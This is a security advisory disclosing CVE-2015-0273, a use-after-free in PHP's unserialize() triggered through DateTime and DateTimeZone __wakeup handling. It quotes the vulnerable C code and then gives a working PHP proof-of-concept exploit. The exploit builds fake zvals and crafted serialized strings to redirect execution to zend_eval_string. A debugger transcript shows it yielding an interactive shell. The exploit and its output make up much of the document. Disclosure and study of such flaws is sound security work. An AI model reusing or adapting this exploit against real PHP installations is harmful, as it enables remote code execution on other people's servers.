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Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273] Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.1.29 - Release Date: 2015.2.20 A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone/DateInterval/DatePeriod objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. Affected Versions ------------ Affected is PHP 5.6 < 5.6.6 Affected is PHP 5.5 < 5.5.22 Affected is PHP 5.4 < 5.4.38 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht) { zval *z_date; zval *z_timezone; zval *z_timezone_type; zval tmp_obj; timelib_tzinfo *tzi; php_timezone_obj *tzobj; z_date = zend_hash_str_find(myht, "date", sizeof("data")-1); if (z_date) { convert_to_string(z_date); z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-1); if (z_timezone_type) { convert_to_long(z_timezone_type); z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-1); if (z_timezone) { convert_to_string(z_timezone); ... static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC) { zval **z_timezone = NULL; zval **z_timezone_type = NULL; if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) { if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) { convert_to_long(*z_timezone_type); if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) { return SUCCESS; } } } return FAILURE; } The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14. <?php $f = $argv[1]; $c = $argv[2]; $fakezval1 = ptr2str(0x100b83008); $fakezval1 .= ptr2str(0x8); $fakezval1 .= "\x00\x00\x00\x00"; $fakezval1 .= "\x06"; $fakezval1 .= "\x00"; $fakezval1 .= "\x00\x00"; $data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}'; $x = unserialize($data1); $y = $x[2]; // zend_eval_string()'s address $y[0][0] = "\x6d"; $y[0][1] = "\x1e"; $y[0][2] = "\x35"; $y[0][3] = "\x00"; $y[0][4] = "\x01"; $y[0][5] = "\x00"; $y[0][6] = "\x00"; $y[0][7] = "\x00"; $fakezval2 = ptr2str(0x3b296324286624); // $f($c); $fakezval2 .= ptr2str(0x100b83000); $fakezval2 .= "\x00\x00\x00\x00"; $fakezval2 .= "\x05"; $fakezval2 .= "\x00"; $fakezval2 .= "\x00\x00"; $data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}'; $z = unserialize($data2); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> Test the PoC on the command line, then any PHP code can be executed: $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64). (lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)" Process 13472 launched: '/usr/bin/php' (x86_64) sh: no job control in this shell sh-3.2$ php -v PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies sh-3.2$ exit exit Process 13472 exited with status = 0 (0x00000000) (lldb) Source